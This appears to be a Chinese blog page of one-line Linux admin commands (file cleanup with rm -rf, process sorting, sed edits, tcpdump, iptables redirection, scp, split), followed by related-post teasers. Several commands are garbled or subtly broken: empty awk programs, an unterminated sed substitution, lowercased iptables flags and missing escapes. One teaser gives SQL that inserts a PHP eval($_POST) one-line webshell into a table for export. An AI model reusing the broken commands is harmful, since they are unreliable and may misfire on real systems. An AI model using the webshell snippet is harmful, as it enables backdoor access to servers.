Linux運維工程師常用一句話指令碼

2021-08-17 17:07:04 字數 1331 閱讀 7956

1、查詢當前目錄下占用為0位元組的檔案並刪除

find ./ -type f -size 0 -exec rm -rf {} ; #此命令不要用於對根目錄0位元組檔案的操作
2、將系統程序按記憶體占用大小排列顯示出來

ps -e -o "%c : %p : %z : %a"|sort -k5 -nr
3、將系統程序按cpu占用大小排列顯示

ps -e -o "%c : %p : %z : %a"|sort -nr
4、匹配某檔案中某一行並進行內容替換

sed -i '/root/s/no/yes' /etc/ssh/sshd_config #先匹配到root,再將此行no替換為yes
5、顯示所有執行級別為3並開機啟動的服務

ls /etc/rc3.d/s* |cut -c 15- #rc3.d中s開頭即為執行級別3的服務,並用cut擷取第15個字元後面的內容
6、取得eth0網絡卡的ip位址

方法1:ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk ''方法2:ifconfig eth0 |grep "inet addr:" |awk ''|cut -c 6-
7、tcp抓包工具分析80埠資料流

tcpdump -c 10000 -i eth0 -n dst port 80
8、查詢昨天的日期

date --date=yesterday
9、刪除所有空目錄

find /data -type d -empty -exec rm -rf {} ; #最好不要在/目錄下執行此命令
10、刪除5天前的檔案

find /data -mtime +5 -type f -exec rm -rf {};
11、強制踢出終端使用者

pkill -kill -t pts/1
12、將來自80埠的請求**到8080埠

iptables -a prerouting -p tcp -m tcp --dport 80 -j dnat --to-destination 127.0.0.1:8080
13、linux伺服器之間傳檔案

scp ~/test.txt [email protected]:/data/ #將個人主目錄下test.txt傳到遠端主機的/data目錄下
14、對大檔案進行分割

split -l 1000 message.log message #按每個檔案1000行來分割split -b 5m message.log message #按每個檔案5m來分割

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...